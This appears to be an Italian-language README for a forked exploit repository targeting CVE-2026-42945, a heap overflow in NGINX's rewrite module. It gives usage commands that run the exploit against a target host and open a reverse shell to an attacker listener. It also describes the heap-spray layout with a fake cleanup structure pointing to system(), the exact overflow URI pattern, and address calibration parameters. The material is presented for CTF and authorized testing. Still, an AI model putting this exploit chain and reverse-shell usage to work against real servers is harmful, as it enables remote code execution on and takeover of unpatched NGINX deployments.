CVE-2026-42945 (NGINX Rift) PoC di RCE con Reverse Shell

Proof-of-concept di esecuzione remota di codice per CVE-2026-42945, un overflow del buffer heap nel ngx_http_rewrite_module di NGINX. Questo fork estende il PoC di trigger pubblico con un listener di reverse shell integrato e parametri di sfruttamento configurabili per CTF e ambienti di laboratorio isolati.

Riepilogo della Vulnerabilità

CVE ID: CVE-2026-42945
Alias: NGINX Rift
Componente Interessato: ngx_http_rewrite_module
Versioni Interessate: NGINX Open Source 0.6.27 – 1.30.0; NGINX Plus R32 – R36
Versioni Corrette: NGINX Open Source 1.30.1 / 1.31.0; NGINX Plus R36 P4, R35 P2, R32 P6
Causa Principale: Disallineamento del motore script a due passaggi. Il passaggio di calcolo della lunghezza viene eseguito su un sotto-motore nuovo con is_args = 0, mentre il passaggio di copia viene eseguito sul motore principale con is_args = 1, richiamando ngx_escape_uri(..., NGX_ESCAPE_ARGS). I byte escapabili si espandono di 3 byte ciascuno, facendo traboccare un buffer heap sottodimensionato con dati URI controllati dall'attaccante.
Prerequisiti per la RCE: Configurazione rewrite/set vulnerabile che utilizza catture PCRE senza nome ($1, $2) più ? nella stringa di sostituzione; ASLR disabilitato o indirizzi di base heap/libc noti; capacità di eseguire heap spray tramite corpi di richieste POST.

File

File	Descrizione
`cve_2026_42945_rce_poc.py`	Exploit Python con listener di reverse shell integrato e modalità di esecuzione dei comandi.

Requisiti

Python 3.8+
Istanza NGINX di destinazione che corrisponde alla versione vulnerabile e al profilo di configurazione.
Raggiungibilità di rete verso la porta HTTP del target.
Per la reverse shell: l'host dell'attaccante deve essere raggiungibile dal target sulla porta del listener scelta.

Utilizzo

Eseguire un singolo comando

python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --cmd "id > /tmp/pwned"

Avviare una reverse shell (bash predefinita)

python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --shell \
  --listen-ip 10.0.0.1 \
  --listen-port 1337

Payload di reverse shell Python

python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --shell \
  --shell-type python \
  --listen-ip 10.0.0.1 \
  --listen-port 1337

Calibrare gli indirizzi per un target specifico

python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --shell \
  --listen-ip 10.0.0.1 \
  --listen-port 1337 \
  --heap-base 0x555555659000 \
  --libc-base 0x7ffff77ba000 \
  --system-offset 0x50d70

Come Funziona

Heap Spray: Invia più richieste POST con corpi contenenti una falsa struttura ngx_pool_cleanup_s: system@libc | pointer to command | null. Questi corpi occupano posizioni heap stabili.
Trigger Overflow: Invia una richiesta GET appositamente costruita a un endpoint rewrite vulnerabile. Il modello URI è:
```
/api/<349 x 'A'><969 x '+'><6-byte heap address>
```
L'overflow corrompe il puntatore cleanup di un ngx_pool_t adiacente.
Esecuzione del Codice: Quando il pool viene distrutto, il puntatore cleanup corrotto invoca system(command), eseguendo il comando controllato dall'attaccante all'interno del processo worker di NGINX.
Reverse Shell: Se viene usato --shell, il comando è un payload di reverse shell e il listener integrato intercetta la connessione in arrivo.

Avviso di Sicurezza

Questo strumento è pensato per:

Esercitazioni CTF e di laboratorio.
Test di penetrazione autorizzati con permesso scritto.
Ricerca sulla sicurezza e attività di hardening difensivo.

Non utilizzare su sistemi di cui non si è proprietari o per i quali non si ha un permesso esplicito di test.

Licenza

Utilizzo a proprio rischio. L'autore non è responsabile per usi non autorizzati o illegali.

Attribuzione

Ricerca originale sulla vulnerabilità e PoC di depthfirstdisclosures (https://github.com/depthfirstdisclosures/nginx-rift). Questo fork Python con reverse shell è stato creato per l'uso in laboratori red team / CTF.

Riferimenti

NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-42945
Avvisi di Sicurezza NGINX: https://nginx.org/en/security_advisories.html
Knowledge Base F5 / NGINX: https://my.f5.com/manage/s/article/K000161019
Repository della ricerca originale: https://github.com/depthfirstdisclosures/nginx-rift

Più Popolari

CVE-2026-42945-Reverse-Shell-POC